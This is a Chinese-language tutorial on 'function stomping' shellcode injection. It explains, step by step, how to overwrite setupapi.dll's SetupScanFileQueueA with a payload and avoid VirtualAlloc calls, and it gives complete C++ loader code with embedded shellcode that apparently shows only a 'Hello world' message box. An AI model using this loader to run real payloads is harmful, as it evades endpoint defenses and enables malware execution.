一、介绍
利用函数篡改注入可以避免使用 VirtualAlloc/Ex
WinAPI 调用,使用新代码替换原始函数的字节,导致函数被替换或不再按预期工作。相反,函数将执行不同的逻辑。要实现这一点,需要一个被践踏的牺牲函数地址
(1)选择目标函数
本地获取函数地址很简单,但用这种技术获得的主要关注点是哪个函数。覆盖常用函数可能导致有效负载的不可控执行或进程崩溃。因此,很明显,针对 ntdll.dll
、kernel32.dll
和 kernelbase.dll
导出的函数是有风险的。相反,应该针对使用频率较低的函数。
(2)实现流程
1、使用 LoadLibraryA
将 Setupapi.dll
加载到本地进程内存中
2、然后使用 GetProcAddress
检索函数的地址。
3、下一步是破坏函数并用有效载荷替换它,使用 VirtualProtect
标记其内存区域为可读可写以确保可以覆盖函数。
4、将有效载荷写入函数的地址,
5、最后,再次使用 VirtualProtect
将该区域标记为可执行(RX
或 RWX
)。
二、实现代码
#include <windows.h> #include <iostream> #define SACRIFICIAL_DLL "setupapi.dll" #define SACRIFICIAL_FUNC "SetupScanFileQueueA"unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";int main() {HANDLE hThread = NULL;DWORD dwOldProtection = NULL;HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);printf("[+] 函数 \"%s\" 的地址:0x%p \n", SACRIFICIAL_FUNC, pAddress);printf("[#] 按 <Enter> 键加载 \"%s\" ... ", SACRIFICIAL_DLL);getchar();VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);memcpy(pAddress, shellcode, sizeof(shellcode));VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);if (hThread != NULL)WaitForSingleObject(hThread, INFINITE);printf("[#] 按 <Enter> 键退出 ... ");getchar(); }